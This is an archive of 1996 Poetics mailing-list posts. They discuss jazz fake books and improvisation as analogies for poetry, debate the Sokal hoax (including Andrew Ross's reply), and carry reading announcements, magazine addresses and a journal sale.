Mon 20 May 1996

Fred E. Maus typed:

> *from Michael Morse at York University:*
>
> *That the use of the book means you are no longer (literally) "faking it" is an intriguing paradox.*

An intriguing paradox indeed, and not only to us. Notated chance operations hinge on the paradox mentioned here.

> *However, many of the books were so rife with mistakes, especially in terms of harmonic progression, that the performer was still left to their own devices, and obliged to repair the goofs on the fly.*

I don't think I've ever peformed in public without finding at least one problem in the score. Aren't textual inaccuracies part of *being* a performer--indeterminacy in everyday life?

> *In that sense, a "fake book" was one which could not be read or used uncritically.*

Meaning that the book *itself* was fake! Touche--nice insight.

> *An illustration: when the Bostonian "Real Book"--complete with an arrogant introduction, distancing itself from "fake" books came out in the seventies, it disseminated a whole new series of mistakes and misunderstandings. These quickly led experienced players to ask obvious neophytes if the tune they'd suggested was learned from the Real Book. If the answer was "yes," a hurried conference ensued, correcting the book's gaffes.*

Amusingly, I do remember conversations in which Berkeley graduates (not neophytes) attributed biblical authority to the Real Book. To impose pedantry on aural tradition *in the middle of a gig* has always struck me as a rather impractical activity.

Such second-hand arrogance is one of the reasons I stopped playing jazz in public. Since I grew up playing and composing classical music, I reasoned, let those who truly grew up with the jazz tradition get props for doing it. Hence, people should go to Matthew Shipp to hear jazz piano and not to me. As unpopular as this sounds, I improvise from harmonic/contrapuntal traditions that are primarily European and non-Afrocentric (though of course the lines are blurred) in origin. To do otherwise strikes me as dishonest. I'm not interested in becoming the Vanilla Ice (rather than the 3rd Bass) of swing.

But back to _The Real Book_:

Interestingly, I don't recall the level of error found by Mr. Morse. Pieces by Towner, Methaney, Steve Swallow (and so on) were often transcribed by the composers themselves. But perhaps many of the mistakes of which he speaks had been ironed out by the early eighties, when I came in contact with the book. I never bought it, though, because I was preoccupied with studies at New England C to think about BSM.

Incidentally: Anyone who's read my interview in the cyberpunk issue of Keyboard (May '89) will probably deduce that--merely in terms of knowledge and experience--I'm not a "neophyte." Still, the use of such labels is yet another aspect of the academicized jazz community that disturbs me. I rather enjoy the presence of neophytes in any artistic community. For me, the problem is not the neophyte. It is the instant expert.

In the words of Montaigne, "What do I know?"

I've typed and deleted this question a few times in my last five posts, but now I think it's time to leave it stet.: Is all this music-specific talk germaine to the Poetics discussion group? I worry about dragging other poets off-topic. I'd feel better about this if we could bring our ideas on music notation back to the topic of *poetic* notation.

But I do find it helpful to interpret poetry as written music and instrumental music in prosodic terms. Here is another paradox: Although it is useful to frame studies of the arts in interdisciplinary contexts, the benefits of such studies can prove idiomatic to either art.

All the best,

Rob Hardin

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400. George Bowering

Re: POETICS Digest - 18 May 1996 to 19 May 1996

Mon 20 May 1996

> *Ginsberg,*
> *and his ability to make subtle distinctions between artists like Leonard Cohen and Lou Reed. Of course you could debate until eternity what it *means* to be "more a poet than a musician" or vice versa--how he characterized Cohen and Reed, respectively.*

Well, I think that it means that Leonard cant really sing or play his instrument, and Lou's words are pretty banal.

.....
"Even the Parisien exists."
-Michaux

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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401. George Bowering
Re: Typo of the Day
Mon 20 May 1996

> *George, just count da feet.*
>
> *Tony Green,*
> *e-mail:* [redacted]

Well, on that thing that I just ate, there were seven. It was either a mutated insect or a mutilated spider.

.....
"Even the Parisien exists."
-Michaux

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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402. Carnography
Re: "fake" book/"real" improvisation
Mon 20 May 1996

At 11:31 AM 5/20/96, Herb Levy typed:

> *Cause (even in performance poetry situations) people rarely ask an artist to do a poem that isn't their own, the issue is pretty different.*

I was speaking not only of a collection of poems to be read aloud (any anthology could be a fake book in this context), but also a collection of poems on which to *improvise*. I think it would be fun to do such a collection, don't you? Professor Larry McCaffery of SDSU is already working on a few "cover album" (ie, pastiche) anthologies inspired by Hal Wilner. I would enjoy asking poets from all traditions and disciplines to write texts with im/explicit openings for improvisation.

> *Even when the words are all*
> *correct, there's often a sense that a performance that strays*
> *from that of the original poet's is not "right."*

Not necessarily. Not always. Some people are far better at composing than performing. Shouldn't these people be read aloud by others? Aside from being an excellent poet, Bruce Andrews is also an exceptionally good and versatile

performer. It might be revelatory and amusing to hear him recite other people's work, don't you think?

> *The only example that I can think of in poetry like a fake book are the various dictionaries of poetic forms that describe how many lines of how many syllables stressed in what ways etc. make up a pantoum or an alexandrine or a whatever.*

An interesting idea. Recently, a group of writers called Unbearables, to which I sometimes belong, wrote improvs on The Chicago Manual of Style: What fun.

All the best,

Rob Hardin

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403. John Whiting
Re: fake book (fwd)
Mon 20 May 1996

As someone trained in lit but working in music I've been fascinated by the direction which this thread has taken. Are we again entering an age in which the poetry/music distinction is as impossible as with the English madrigalists whom Pound so revered? After working for years with Bob Cobbing and Clive Fencott in an improvised sound poetry/electronics ensemble called Oral Complex, I now find myself improvisingly similarly with John Kenney, a great trombonist with whom the interactivity is totally analogous.

John Whiting
October Sound
London

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404. Edward Foster
RUSSIAN/AMERICAN SCHEDULE
Mon 20 May 1996

The draft schedule for the Russian/American poetry festival this coming weekend is on its way to all who have told us they plan to attend. if your paper/reading/panel is not scheduled for a time convenient for you, please let us know as soon as possible. the final schedule goes to press thursday morning.

it does look like one amazing occasion. if there is anyone who is planning to come and still does not have room arrangements, i'd suggest you try the dormitory office here, speak with cathy mcHugh; i believe she still has some rooms available.

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405. Burt Kimmelman
Re: fake book
Mon 20 May 1996

A quasi analog to musical fake books is perhaps the old english manuscripts that showed the full elaboration of a stanza pattern including the refrain and any other repeating features, and then showed the other unique lines of successive stanzas--all done to save parchment that was precious. So how would this be fake? I don't know. Of course, thinking of parchment, one can't help but recall the whole delicious issue of the palimpsest--but now, we are perhaps straying beyond prosody and into purely textual/linguistic and/or philosophical matters.

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406. Chris Stroffolino
Re: fake book
Mon 20 May 1996

Dear Herb Levy-- That you mentioned O'Hara's "In Memory..." as an example for the "interpretation" question (music/poetry analogy) pricked up my ears. I'm genuinely curious about how you perceive the parameters of "interpretation" for surely they are wider than (was it?) Rob Hardin's more strict analogy (where say one poet with a distinctive reading style --say Andrews--"interprets" O'Hara, but of course then the locus of comparison would be not O'Hara's writing but O'hara's performance of the same poem--Are their tapes of him reading it?). It seems to me that you're more onto the idea of reading as a collaborative act, of writing-while-reading as an interpretation, and I think of Pound's "diluters" but also Bloom's idea that the only "strong" criticism or interpretation of a poem must itself be another poet (and of course trying to claim that his form of criticism may BE a poem). Thus, there is no end to interpretation. And thus, there is no "original" poem per se (or the dreaded "lost original" as Shapiro interprets it--or Sappho). And the two senses of interpretation interact in complex ways. From one perspective, poems (ALL POEMS) can not help but be interpretations, yet in being interpretations of interpretations (i.e. conventions), self consciously, as O'Hara's poem-suite is, they attempt to cancel out the hyperontological, mere similacrum, to bring one to the illusion of "the thing itself." (Now, I'm thinking of Benjamin's "task of the translator" here--translator as poet-interpreter). Anyway, is there a way to tie any of this into Rod Smith's recent "IN MEMORY OF MY THEORIES" (or as a friend called it "In MEMORY OF MY O BOOK)? For instance, the marker is there (just as in Ray Ragosta's William

James title), and could send a scholarly interpreter/explicator towards looking for similarities between the two books, as if there was some REASON, beside a spur-of the moment flash, or a flash that occured repeatedly more than once, that Smith called his book such. Though part of me (or one of my selves, as O'Hara would have it) wants to say, "No, Chris, it is absolutely a wild goose chase to see Smith's book as an interpretation of O'Hara" (or to take Perelman's O'hara meets Barthes in heaven as anything but a high joke to get the goat of academic drudges---for as Shapiro writes, "a title is not a can opener"), another one of my selves feels that even stale conventions such as a comparison/contrast mode can be a starting point for new possibilities. (though not "new" vs. "old" in possibility....)

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407. **Jordan Davis**
Re: theory book
Mon 20 May 1996

Chris-- Re 'theories'-- What if Rod's borrowing of O'Hara's title is meant to compare O'Hara's times with these times? Think of how the word 'feelings' sounded to you before you knew the O'Hara poem. I wasn't alive when the poem was written, so I don't know how the pre-Feliciano environment heard it, but I suspect 'feelings' was a word of dangerous purple. Now. Rod's book (Rod--you want to jump in here?) is titled after a poem, yes? The poem in which Al Gore is conflated with both Paul Simons? And a cheerleader coaxes us to spell out "VLUH!"? I think Rod's goofing on the word 'theories' to make it possible to take that word seriously again. Cough. Really. Or hear it, anyway, as the abused center of our times (inner city of meaning?). It's risky for the reasons you cite and joke about. That kind of risk is interesting, tho, right? --Jd not Kd nor Td nor (e)

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408. **Tenney Nathanson**
but this is Lovely to Think About
Tue 21 May 1996

> *Date: Mon, 20 May 1996 11:31:28 -0700*
> *From: Herb Levy <[redacted]>*
> *Subject: Re: fake book*
>
> *In the few cases when someone does interpret the work of another, there's less leeway than is usually the case for a musician. I mean, if someone asked for, say, Frank O'Hara's "In Memory of My Feelings" they probably wouldn't be satisfied with something that had the broad formal outline*

> *correct, but which had some different words. Even when the words are all correct, there's often a sense that a performance that strays from that of the original poet's is not "right."*

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409. **Carnography**
Re: fake book
Tue 21 May 1996

At 8:47 PM 5/20/96, Chris Stroffolinoe typed:

> *Dear Herb Levy--*
> *That you mentioned O'Hara's "In Memory..." as an example for the "interpretation" question (music/poetry analogy) pricked up my ears. I'm genuinely curious about how you perceive the parameters of "interpretation" for surely they are wider than (was it?) Rob Hardin's more strict analogy (where say one poet with a distinctive reading style --say Andrews--"interprets" O'Hara*

That was only one of my points, and certainly not one of my own analogies. I was arguing in favor of (as opposed to Herb's argument against) others besides the poet interpreting the poet's work. The subject was more his than mine. If you presumed that guest recitations were the point of my reply, then I hope you'll reexamine what I wrote.

I choose to be open to the idea of interpretation in the context of the work of other poets. If you dislike anyone's interpretation, or *version* (which can mean any number of compositional/performance techniques) of a particular work, you can always go back to the original poem and poet. And it is unfair to compare all interpretative work suggested by me--aleatoric, satirical, even ultra-rationalist-- with pedestrian interpretation; with a CD of Kevin Costner reading e. e. cummings.

> *I think of Pound's "diluters" but also Bloom's idea that the only "strong" criticism or interpretation of a poem must itself be another poet (and of course trying to claim that his form of criticism may BE a poem).*

I like Harold Bloom's idea of poetic misreading. But why should I take his word for it and denounce the reader's interpretation as mere undigested influence? I can't presume to know the level of every reader's interpretation.

(Besides, who said we weren't talking primarily about other poets?)

And why shouldn't a poet or reader approach influence and interpretation from any angle that works for him/her on a practical level?

> *Thus, there is no end to interpretation. And thus, there is no "original" poem*

> *per se (or the dreaded "lost original" as Shapiro interprets it--or Sappho). And the two senses of interpretation interact in complex ways. From one perspective, poems (ALL POEMS) can not help but be interpretations, yet in being interpretations of interpretations (i.e. conventions), self consciously, as O'Hara's poem-suite is, they attempt to cancel out the hyperontological, mere similacrum, to bring one to the illusion of "the thing itself."*

This is a useful idea, certainly. But it would seem to me to be one long footnoted paraphrase of Foucault's essay, "what is an author?" (1969), which is a useful work, but--again--doesn't contain the only useful ideas for a practicing poet. At this point, decon is still important, but it is also familiar news (or seems so to me).

All best always,

Rob Hardin

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410. **Michael Boughn**
Re: rules & conventions
Tue 21 May 1996

Charles:

The essay is called "Literary Institution and Modernization" and it's conncerned to track changes in the the relation of literature to its producers and consumers (and to the social generally) during the transition to modernism. Burger proposes that the production of literature is governed by rules during (and preceding) neo-classicism when the institution of literature is part of a stable social order within which artists peacefully exist.

Within the Enlightenment, the _doctrine classique_ is replaced by the aesthetics of autonomy. "The bourgeois subject, claiming personal autonomy, and being itself a result of modernization, opposes society as an alien object. The critique which has been concerned with traditional residues, such as dogmatic systems of belief, can now turn against modernization itself." Simultaneously, rules give way to conventions as the mode of organizing literary production. Rules are either on or off, whereas conventions evolve and change and become deformed.

So I'm wondering how to characterize our situation now? Are we still, as poets, in a conventional mode? Is this giving way to something new, like, say, procedures? Can we even know that?

Maybe this is boring to people on the list, but it seemed relevant to the discussion that Annie Finch gave rise to.

Gotta run,
Mike

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411. Kevin Killian
Re: fake science: reply
Tue 21 May 1996

This is Dodie Bellamy.

What a coincidence! I read Sokal's article in _Lingua Franca_ just last night, while eating a burrito in one of San Francisco's many budget-friendly tacquerias, and I found it a camp riot in its haughty scientism, found myself merrily copying down line after line to collage into my own work.

Content isn't everything, you know.

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412. Robert Drake
Re: a range life, if I could settle down, I would...
Tue 21 May 1996

---

david--

synaesthetic, c/o alex cigale
178-10 wexford terrace #3d
jamaica ny 11432

north american ideophonics
c/o mark nowak
908 franklin terrace, 3rd floor
minn. mn 55406

turbulence
david nemeth
po box 40
hockessin de 19707

... i _think_ turbulence folded after their first issue, which was dated oct. 93...

all of these have been reviewed in past issues of TapRoot Reviews; if this kind of material is ov continued interest, you might consider subscribing: $10/4 issues to Burning Press, PO Box 585, Lakewood OH 44107. we're constantly late, but we're constant...

luigi
ed.

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413. **Poetics List**
Re: fake book (fwd)
Tue 21 May 1996

From: Carnography <[redacted]>
Subject: Re: fake book (fwd)
To: Multiple recipients of list POETICS <[redacted]>

Fred E. Maus typed:

> *from Michael Morse at York University:*
>
> *That the use of the book means you are no longer (literally) "faking it" is an intriguing paradox.*

An intriguing paradox indeed, and not only to us. Notated chance operations hinge on the paradox mentioned here.

> *However, many of the books were so rife with mistakes, especially in terms of harmonic progression, that the performer was still left to their own devices, and obliged to repair the goofs on the fly.*

I don't think I've ever peformed in public without finding at least one problem in the score. Aren't textual inaccuracies part of *being* a performer--indeterminacy in everyday life?

> *In that sense, a "fake book" was one which could not be read or used uncritically.*

Meaning that the book *itself* was fake! Touche--nice insight.

> *An illustration: when the Bostonian "Real Book"--complete with an arrogant introduction, distancing itself from "fake" books came out in the seventies, it disseminated a whole new series of mistakes and misunderstandings. These quickly led experienced players to ask obvious neophytes if the tune they'd suggested was learned from the Real Book. If the answer was "yes," a hurried conference ensued, correcting the book's gaffes.*

Amusingly, I do remember conversations in which Berkeley graduates (not neophytes) attributed biblical authority to the Real Book. To impose pedantry on aural tradition *in the middle of a gig* has always struck me as a rather impractical activity.

Such second-hand arrogance is one of the reasons I stopped playing jazz in public. Since I grew up playing and composing classical music, I reasoned, let those who truly grew up with the jazz tradition get props for doing it. Hence, people should go to Matthew Shipp to hear jazz piano and not to me. As unpopular as

this sounds, I improvise from harmonic/contrapuntal traditions that are primarily European and non-Afrocentric (though of course the lines are blurred) in origin. To do otherwise strikes me as dishonest. I'm not interested in becoming the Vanilla Ice (rather than the 3rd Bass) of swing.

But back to _The Real Book_:

Interestingly, I don't recall the level of error found by Mr. Morse. Pieces by Towner, Methaney, Steve Swallow (and so on) were often transcribed by the composers themselves. But perhaps many of the mistakes of which he speaks had been ironed out by the early eighties, when I came in contact with the book. I never bought it, though, because I was preoccupied with studies at New England C to think about BSM.

Incidentally: Anyone who's read my interview in the cyberpunk issue of Keyboard (May '89) will probably deduce that--merely in terms of knowledge and experience--I'm not a "neophyte." Still, the use of such labels is yet another aspect of the academicized jazz community that disturbs me. I rather enjoy the presence of neophytes in any artistic community. For me, the problem is not the neophyte. It is the instant expert.

In the words of Montaigne, "What do I know?"

I've typed and deleted this question a few times in my last five posts, but now I think it's time to leave it stet.: Is all this music-specific talk germaine to the Poetics discussion group? I worry about dragging other poets off-topic. I'd feel better about this if we could bring our ideas on music notation back to the topic of *poetic* notation.

But I do find it helpful to interpret poetry as written music and instrumental music in prosodic terms. Here is another paradox: Although it is useful to frame studies of the arts in interdisciplinary contexts, the benefits of such studies can prove idiomatic to either art.

All the best,

Rob Hardin

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414. David Baratier

a range life, if I could settle down, I would…

Tue 21 May 1996

I have been trying to find the new addresses of the following publications (or if they are even still publishing)

cyanosis
North American Ideophonics
Syn/aes/the/tic
Turbulence

I also recall a note a while back that either _lyric&_ or _Lower Limit Speech_ had moved. Any information greatly appreciated.

Be Well.

David Baratier

[redacted]

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415. Burt Kimmelman

Re: a range life, if I could settle down, I would…

Tue 21 May 1996

Synaesthetic is published by Alex Cigale. His home address is
98 Vanderbilt Ave
Brooklyn, NY 11205

there is a po box for the mag, but i've misplaced it, but anyway alex is doing the mag virtually single handed.

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416. Aldon L. Nielsen

Re: fake books

Tue 21 May 1996

---

in my role as restater of the obvious, let me remind all of the subtitle of Maxine Hong Kingston's novel, _Tripmaster Monkey: His Fake Book_

a pleasant diversion, easy to hum, great changes

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417. David Baratier
A Booglit benefit reading
Tue 21 May 1996

Featured Readers:
Todd Colby
David Baratier
Bill Luoma
Dan Wilcox

Also Chris Stroffolino and Chris Butters are slated.

Booglit will be publishing a number of limited edition chapbooks for the reading, including _Compartments (a short run)_ by David Baratier

@ Luna Park
Friday May 31st @ 7:30 pm
249 Fifth Ave.
Brooklyn, NY
(Between Carroll Street and Garfield Place)

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Michael Basinski: Buffalo, NY
David Baratier: Philadelphia, PA
Dan Wilcox: Albany, NY
Rod Smith: Washington, DC
Lee Ann Brown: Boulder, CO
Dan Bouchard: Boston, MA

Booglit is a community focused publication where the editors for the various cities contribute material on area writers and events in each issue. One city is chosen to be the featured city of each issue. A third of the publication space is dedicated to the featured city.

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418. **Steven Howard Shoemaker**
fake science
Tue 21 May 1996

Given all the discussion of faking it one the list lately, i cldn't resist forwarding this.

steve

"I fake it so real I am beyond fake"--Courtney Love

> *Dear All,*
>
> *The following article from the _Baltimore Sun_ speaks in so many different ways that I had better just let it speak for itself.*
>
> *"A bold scientist fights the tyranny of reality"*
> *by Linda Seeback (May 15, 1996)*
>
> *"Pleasanton, Calif - Physicist Alan Sokal of New York University meticulously observed all the rules of the academic game when he constructed his article on postmodern physics and submitted it to a prestigious journal of cultural studies called _Social Text_.*
>
> *The people he cites as authorities are the superluminaries of the field, the quotations he uses to illustrate his argument are strictly accurate and the text is bristling with footnotes.*
>
> *All the rules but one, that is: Dr. Sokal's article is a parody. Under the grandiloquent title "Transgressing the Boundaries: Toward a Transformative Hermeneutics of Quantum Gravity," it appeared in the Spring/Summer 1996 special issue of the magazine, one entirely devoted to "the science wars," as the editors term the tension between peple who actually do science and the critics who merely theorize about it.*
>
> *Many scientists believe that the emperors of cultural studies have no clothes. Dr. Sokal captured the whole royal court parading in naked ignorance and persuaded the palace chroniclers to publish the portrait as a centerfold.*
>
> *Once the article was safely in print, he revealed his modest experiment. "Would a leading journal of cultural studies," he wrote in the May/June issue of _Lingua Franca_, "publish an article liberally salted with nonsense of (a) it sounded good*

and (b) it flattered the editors' ideological preconceptions?" Unfortunately, yes.

Dr. Sokal's deliberate nonsense is anything but subtle. Translated into plain English from the high-flown language he borrowed for the occasion, his first paragraph says that scientists "cling to the dogma" that the external world exists and its properties are independent of what human beings think. But nobody believes that old stuff any more, right? Now we all know that physical reality is "at bottom a social and linguistic construct."...

There are so many red flags planted throughout the paper that even non-scientists "should have spotted at least one and started laughing" Dr. Sokal said last week. "Either this is a parody or the author is off his rocker."

The physicist was prompted into parody by a 1994 book, "Higher Superstition: The Academic Left and Its Quarrels with Science," by Paul Gross and Norman Levitt, which ruffled a lot of postmodernist feathers.

"I'm an academic leftist and I have no quarrel with science," Dr. Sokal said, "so the first thing I did was go to the library and check their references, to see whether (Messrs, Gross and Levitt) were being fair," and they were. In fact, he found even more examples of scientific illiteracy, some of them even worse.

"It would be so boring to refute them," Dr. Sokal said, "I picked the silliest quotes from the most prominent people and I made up an argument for how they were linked together."....

"A liberatory science cannot be complete without a profound revision of the canon of mathematics," he concludes. "We can see hints of (such emancipatory mathematics) in the multidimensional and nonlinear logic of fuzzy systems theory, but this approach is still heavily marked by its origins in the crisis of late-capitalist production relations." He drags in catastrophe theory and chaos theory too.

There is a political point to Dr. Sokal's demonstration, but it's not the right-wing one he's sure will be attributed to him. He's proud to call himself a leftist, and his resume includes a stint teaching mathematics at the National University of Nicaragua under the Sandinistas.

"If you take up crazy philosophies you undermine your ability

> *to tackle questions of public policy, like ecology," he said.*
> *"It really matters whether the world is warming up."...*

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419. Steven Howard Shoemaker
fake science: reply
Tue 21 May 1996

And here is Andrew Ross's reply to the Sokaldebacle.

steve

> * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + *
>
> *Ross:*
>
> *What were some of the initial responses of the journal's editors when we first learned about Alan Sokal's prank upon Social Text? One suspected that Sokal's "parody" was nothing of the sort, and that his admission represented a change of heart, or a collapse of his intellectual resolve. Another, while willing to accept the story, was less sure that Sokal knew very much about what or whom he thought he was kidding. A third was pleasantly astonished to learn that the journal is taken seriously enough to be considered a threat to anyone, let alone to natural scientists. At least two others were furious at the dubious means by which he chose to make his point. All were concerned that his actions might simply spark off a new round of caricature and thereby perpetuate the climate in which science studies has been subject recently to so much derision from conservatives in science. However varied the responses, we all believe that Sokal took too much for granted in his account of his prank. Indeed, his claim--that our publication of his article proves that something is rotten in the state of cultural studies--may have turned out to be as wacky as the article itself.*
>
> *First, let me recount the history of the editorial process regarding Sokal's article, in order to provide readers with a framework that Lingua Franca did not seek when they decided to publish his piece. From the first, we considered Sokal's unsolicited article to be a little hokey. It is not every day that we receive a dense philosophical tract from a professional physicist. Not knowing the author or his work, we engaged in some speculation about his intentions, and concluded that this article was the earnest attempt of a professional scientist to seek some kind of affirmation from postmodern philosophy for developments in his field. His adventures in PostmodernLand were not really our cup of tea. Like other journals of our vintage that try to keep abreast of cultural studies, it has been many years since Social Text published contributions to the debate about postmodern theory, and Sokal's article would have been*

regarded as sophomoric and/or outdated (and therefore unnacceptable to the editors) if it had come from a humanist or social scientist. As the work of a natural scientist it was unusual, and, we thought, plausibly symptomatic of how someone like Sokal might approach the field of postmodern epistemology i.e. awkwardly, assertively, and somewhat aimlessly, with a veritable armada of footnotes to ease his sense of vulnerability. In other words, we read it more as an act of good faith of the sort that might be worth encouraging than as an exercise of the intellect whose scholarly worth had to be judged. On those grounds, the editors considered that it might be of interest to readers as a "document" of that time-honored tradition in which modern physicists have discovered harmonic resonances with their own reasoning in the field of philosophy and metaphysics. Consequently, the article met one of the several criteria for publication which Social Text recognizes. As a non-refereed journal of political opinion and cultural analysis (entirely self-published by an editorial collective until its recent adoption by Duke University Press), Social Text has always seen its lineage in the "little review" tradition of the independent left as much as in the academic domain, and so we often balance diverse editorial criteria when discussing the worth of submissions, whether they be works of fiction, interviews with sex workers, or interventions in postcolonial thought. In other words, this is an editorial milieu with principles and aims quite remote from that of a professional scientific journal.

Having established an interest in Sokal's article, we did ask him informally to revise the piece. We made a general request to him a) to excise a good deal of the philosophical speculation and b) to excise most of his footnotes. Sokal seemed resistant to any general revisions of this sort, and indeed insisted on retaining almost all of his footnotes and bibliographic apparatus on the grounds that his peers, in science, expected extensive documentation of this sort. Judging from his response, it was clear that his article would appear as is, or not at all. At this point, Sokal was admitted to the category of "difficult, uncooperative author," well known to journal editors. His article entered a state of limbo, well known at Social Text at least, as "too much trouble to publish, not yet on the reject pile, and capable of being redeemed if published in the company of related articles."

Some months after this impasse was reached, the editors did indeed decide to assemble a special issue on the topic of science studies. We wanted to gauge how science studies practitioners were responding to the scurrilous attacks of Paul Gross and Norman Levitt, and other conservatives in science. Contributions were solicited from across the field of knowledge; from humanists, social scientists and natural scientists (the final lineup included many of the more significant names in science studies (Sandra Harding, Steve Fuller, Emily Martin, Hilary Rose, Langdon Winner, Dorothy Nelkin, Richard Levins, George Levine, Sharon Traweek, Sarah Franklin, Ruth Hubbard, Joel Kovel, Stanley Aronowitz, and Les Levidow). Most

responded directly to the evolving controversy that some were calling the "Science Wars," while others wrote their own accounts of work in their respective fields. Here, we thought, was an appropriate and heterogenous context in which Sokal's article might appear, providing a feasible solution to our editorial dilemma. He expressed some concern when asked if we could publish his piece in this special issue (we assumed he wished to distance himself from the polemical company assembled for the issue), but he reiterated his eagerness to see it in print. Our final decision to include him presumed that readers would see his article in the particular context of the Science Wars issue, as a contribution from someone unknown to the field whose views, however peculiar, might still be thought relevant to the debate. Since his article was not written for that special issue, and bears little resemblance, in tone or substance, to the other commissioned articles, it was not slated to be included in the expanded book version of the issue (with additional articles by Katherine Hayles, Michael Lynch, Roger Hart, and Richard Lewontin) which will be published by Duke University Press in September.

In sum, Sokal's assumption that his "parody" struck a disreputable chord with the woozy editors of Social Text is ill-conceived. Indeed, its status as parody does not alter substantially our initial perception of, and our interest in, the piece itself as a curio, or symptomatic document. Of course, the whole affair may say something about our own conception of how physicists read philosophy, but that seems less important to us than that his prank does not simply lead to a heightening of the hysteria which the Science Wars have induced.

Most of all, what his confession altered was our perception of his own good faith as a self-proclaimed leftist. In the view of our editors, Alan Sokal was now revealed to be either a) a leftist whose self-loathing has been activated by conservative caricatures of the cultural left, or b) a leftist whose genuine sense of commitment led him to a questionable manner of expressing his political point. In either respect, his actions smacked of a temper often attributed to "unreconstructed male leftists." More to the point, the boy stunt pulled by Sokal seemed typical of the professional culture of science education.

Having talked to the (real) Sokal subsequently, we believe that most of the issues he intended to air are, at this point, rather well-known to readers of Social Text and to Lingua Franca. Indeed, they have been going the rounds in the academy since the first postmodern, social constructionist, or anti- foundational critiques of positivism appeared over thirty-five years ago. That many natural scientists have only recently felt the need to respond to these critiques says something about the restricted trade routes through which knowledge is still circulated in the academy, policed, as it is, at every departmental checkpoint by disciplinary passport controls. Nor are these critiques unfamiliar to folks who have long been involved in debates about the direction of the

> *left, where positivism has had a long and healthy life. At this point in time, we have a vestigial stake in these critiques and debates, but much less of an interest than Sokal supposes. When Sokal discovers that the cultural left he believes he has outsmarted really doesn't give much of a hoot about what Lacan said about topology in his 1966 seminar, then we can talk turkey.*
>
> *Our main concern is that readers who may be new to the debates engendered by science studies are not persuaded by the Sokal stunt that this is simply an academic turf war between scientists and humanists/social scientists, with one side trying to outsmart the other. More important to us is the gulf of power between experts and lay voices, and the currently shifting relationship between science and the corporate state. Nor are these concerns extrinsic to the practice of science. Prior to deciding whether science intrinsically tells the truth, we must ask, again and again, whether it is possible, or prudent, to isolate facts from values.*
>
> *Why does science matter so much? Because its power, as a civil religion, as a social and political authority, affects our daily lives and the parlous condition of the natural world more than does any other domain of knowledge. Does it follow that non-scientists should have some say in the decision-making processes that define and shape the work of the professional scientific community? Some scientists (including Sokal presumably) would say yes, and in some countries, non-expert citizens do indeed participate in these processes. All hell breaks loose, however, when the following question is asked. Should non-experts have anything to say about scientific methodology and epistemology? After centuries of scientific racism, scientific sexism, and scientific domination of nature one might have thought this was a pertinent question to ask.*
>
> *Andrew Ross, Co-Editor, Social Text*
>
> [redacted]

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420. **Steven Howard Shoemaker**

Re: fake book

Tue 21 May 1996

Burt Kimmelman writes:

Well, speaking of parchment, I guess those de/composed fragments of Sappho have served as fake books for improvisations by Pound and others...

steve

> *A quasi analog to musical fake books is perhaps the old english manuscripts that showed the full elaboration of a stanza pattern including the refrain and any other repeating features, and then showed the other unique lines of successive stanzas--all done to save parchment that was precious. So how would this be fake? I don't know. Of course, thinking of parchment, one can't help but recall the whole delicious issue of the palimpsest--but now, we are perhaps straying beyond prosody and into purely textual/linguistic and/or philosophical matters.*

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421. Christopher Reiner
Avec Books offer
Tue 21 May 1996

I am forwarding this for Cydney Chadwick:

AVEC SALE

A special sale for subscribers to the Poetics List...for $14 you will receive:

AVEC #4, containing a translation section of contemporary poetry and prose from France (most of the work is still unpublished in book form and unavailable elsewhere). Also includes work by Michael Palmer, Lyn Hejinian, Clark Coolidge, Laura Moriarty, Leslie Scalapino, an image and text piece by Johanna Drucker, art by Susan Bee, and cover art by New York School painter Norman Bluhm.

AVEC #8. with this issue the journal began featuring longer sections of work per contributor, some of whom are: Elizabeth Willis, Sianne Ngai, Chris Strofolino, Agnes Rouzier, Friederika Mayrocker, Keith Waldrop, Rosmarie Waldrop...also, an award-winning photo-text collboration by Norma Cole and Ben E. Watkins.

A CAST OF TENS by David Bromige. The 29th book by the 1988 winner of the Western States Book Award.

"Bromige is a master at probing the irreducibility of symbolic logic, and his playful yet outrageous equivalencies explode the neat, cut-and-dried tautologies of Wittgenstein:

> The old man is 112 pages long
> and so is the sea
> They are deeply symbolic (psychotic).

Bromige's structures are sinuous and mathematic, and they evoke the tonal colors of Schoenberg, Satie, or Cage, successfully evading what Bromige has characterized as iambic pentameter's 'echoic invasions.'"--Taproot Reviews

"Bromige combines the erudite with the dryly humorous."--The Independent

Sale from May 21-July 14th (Bastille Day). Please make checks payable to AVEC: P.O. Box 1059, Penngrove, Ca 94951.

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422. **David Baratier**
Re: formal continuum
Tue 21 May 1996

"Metrical "meaning", according to this theory, is generated through difference within a structure--an obvious reference to Saussure. As I said, it's an interesting way of looking at what certain poets have done in certain circumstances, a different way of reading the meaningfulness of meter."

I fail to see how this is supposed to substitute as a new articulation, theory or hypothesis. Or is the benefit of the word Saussure supposed to single-handedly transpose an un/new-found conveyance upon the sensibilities of the reader? Pick a poem, any poem from, oh say-- Blake's Song of Innocence and Experience and see what the meter does in relation to the "meaningfullness of meter." This is one of them pre-existing ideas (CREATED BY A POET AND CONSEQUENTLY STOLEN I MIGHT ADD) sacked from the cul-de-sac of poetical intention, dressed up in a label of newfangled foppery and subsequently selling itself as "a brand new bag" ala James Brown without a momentary reflection for retention.

Be well.

David Baratier

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423. **David Baratier**
Reading Tonight 5/21
Tue 21 May 1996

Tuesday in Philadelphia

Boulevard presents a reading by James Tate. Border's center city 1727 Walnut Street. @ 7:30

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424. Alan Sondheim
Re: fake science: reply
Tue 21 May 1996

The reply is incredible if I read it correctly. Social Text would allow a sopomoric article that might be a parody to be printed because it was written by a scientist. We have a new brand of essentialism here. Meanwhile the journal is compromised doubly, not only by the article, but by the dissembling reply by Ross.

Alan

http://jefferson.village.virginia.edu/~spoons/internet_txt.html images: http://www.cs.unca.edu/~davidson/pix/ Ich war Hamlet. Ich stand an der Kuste und redete mit der Brandung BLABLA, im Rucken die Ruinen von Europe. Heiner Muller

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425. Henry Gould
Re: formal continuum
Tue 21 May 1996

